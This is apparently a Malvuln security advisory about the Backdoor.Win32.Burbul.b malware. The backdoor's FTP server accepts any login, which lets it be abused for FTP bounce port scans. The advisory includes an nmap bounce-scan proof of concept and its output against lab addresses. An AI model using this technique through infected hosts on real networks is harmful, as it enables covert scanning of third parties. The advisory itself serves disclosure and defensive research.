Original source: https://malvuln.com/advisory/3ee4cb2e06eb1f7fe54c89db903f3e7a_B.txt
Contact:
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Burbul.b
Vulnerability: Authentication Bypass MITM Port Bounce Scan
Description: The backdoor runs an FTP server that listens on TCP
port 2121. Third-party adversaries can abuse the server as a
man-in-the-middle machine allowing PORT Command bounce scan attacks
using Nmap. This vulnerability allows remote attackers to abuse
your system and discreetly conduct network port scanning. Victims
will then think these scans are originating from the infected
system running the afflicted malware FTP Server and not you. This
is easily accomplished as the malware also suffers from a
authentication bypass as any username password combination can be
used to authenticate.
Type: PE32
MD5: 3ee4cb2e06eb1f7fe54c89db903f3e7a
Vuln ID: MVID-2021-0154
Disclosure:
Exploit/PoC:
nmap -n -Pn -b mal:
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-30 12:17 Pacific
Daylight Time
Resolved FTP bounce attack proxy to 192.168.88.128
(192.168.88.128).
Attempting connection to ftp://mal:
Connected:220 ╟Σα≡α±≥≤Θ≥σ ≤Γαµασ∞√Θ ⌡α÷Ωσ≡.. ╟αßσ≡αΘ≥σ Γ±σ ≈≥ε
±≈Φ≥ασ≥σ φ≤µφ√∞...
Login credentials accepted by FTP server!
Initiating Bounce Scan at 12:17
Discovered open port 80/tcp on 192.168.88.131
Completed Bounce Scan at 12:17, 2.13s elapsed (3 total ports)
Nmap scan report for 192.168.88.131
Host is up.
PORT STATE SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open http
Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 11.26 seconds
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